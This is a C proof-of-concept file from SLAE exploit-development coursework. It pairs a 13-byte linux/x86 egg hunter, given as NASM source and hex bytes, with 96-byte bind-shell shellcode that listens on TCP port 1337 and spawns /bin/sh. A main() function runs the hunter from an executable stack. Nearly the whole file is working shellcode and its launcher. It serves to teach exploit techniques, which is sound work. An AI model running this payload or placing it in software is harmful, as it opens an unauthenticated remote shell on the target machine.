84 lines
No EOL
2 KiB
C
84 lines
No EOL
2 KiB
C
/*
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* Title: Egg Hunter PoC
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* Platform: linux/x86
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* Date: 2015-01-07
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* Author: Dennis 'dhn' Herrmann
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* Website: https://zer0-day.pw
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* Github: https://github.com/dhn/SLAE/
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* SLAE-721
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*/
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/*
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* egg_hunter.nasm
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* ---------------
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* BITS 32
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*
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* global _start
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* section .text
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*
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* EGG_SIG equ 0x4f904790 ; signature
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*
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* _start:
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* cdq ; zero out edx
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* mov edx, EGG_SIG ; edx = 0x4f904790
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*
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* search_the_egg:
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* inc eax ; increment eax
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* cmp DWORD [eax], edx ; compare eax with the EGG_SIG
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* jne search_the_egg ; if not compare jump to search_the_egg
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*
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* jmp eax ; jump to eax
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*
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*/
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#include <stdio.h>
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#include <string.h>
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/*
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* Egg Signature:
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*
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* 0x4f 0x90 0x47 0x90
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* | | | |
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* dec edi - NOP - inc edi - NOP
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*/
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#define EGG_SIG "\x90\x47\x90\x4f"
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unsigned char egg_hunter[] = \
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"\x99" /* cdq */
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"\xba\x90\x47\x90\x4f" /* mov edx, 0x4f904790 */
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"\x40" /* inc eax */
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"\x39\x10" /* cmp DWORD PTR [eax], edx */
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"\x75\xfb" /* jne 6 <search_the_egg> */
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"\xff\xe0"; /* jmp eax */
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/*
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* Bind Shell TCP shellcode - 96 byte
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* bind to port: 1337
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*/
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unsigned char shellcode[] = \
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EGG_SIG /* Egg Signature */
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"\x6a\x66\x58\x6a\x01\x5b\x31\xf6"
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"\x56\x6a\x01\x6a\x02\x89\xe1\xcd"
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"\x80\x5f\x97\x93\xb0\x66\x56\x66"
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"\x68\x05\x39\x66\x6a\x02\x89\xe1"
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"\x6a\x10\x51\x57\x89\xe1\xcd\x80"
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"\xb0\x66\xb3\x04\x56\x57\x89\xe1"
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"\xcd\x80\xb0\x66\xb3\x05\x56\x56"
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"\x57\x89\xe1\xcd\x80\x93\x31\xc9"
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"\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80"
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"\x75\xf8\x6a\x0b\x58\x31\xc9\x51"
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"\x68\x2f\x2f\x73\x68\x68\x2f\x62"
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"\x69\x6e\x89\xe3\x89\xca\xcd\x80";
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/*
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* $ gcc -Wl,-z,execstack -fno-stack-protector PoC.c -o PoC
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* [+] Egg Hunter Length: 13
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* [+] Shellcode Length + 4 byte egg: 100
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*
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*/
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void main()
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{
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printf("[+] Egg Hunter Length: %d\n", strlen(egg_hunter));
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printf("[+] Shellcode Length + 4 byte egg: %d\n", strlen(shellcode));
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int (*ret)() = (int(*)())egg_hunter;
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ret();
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} |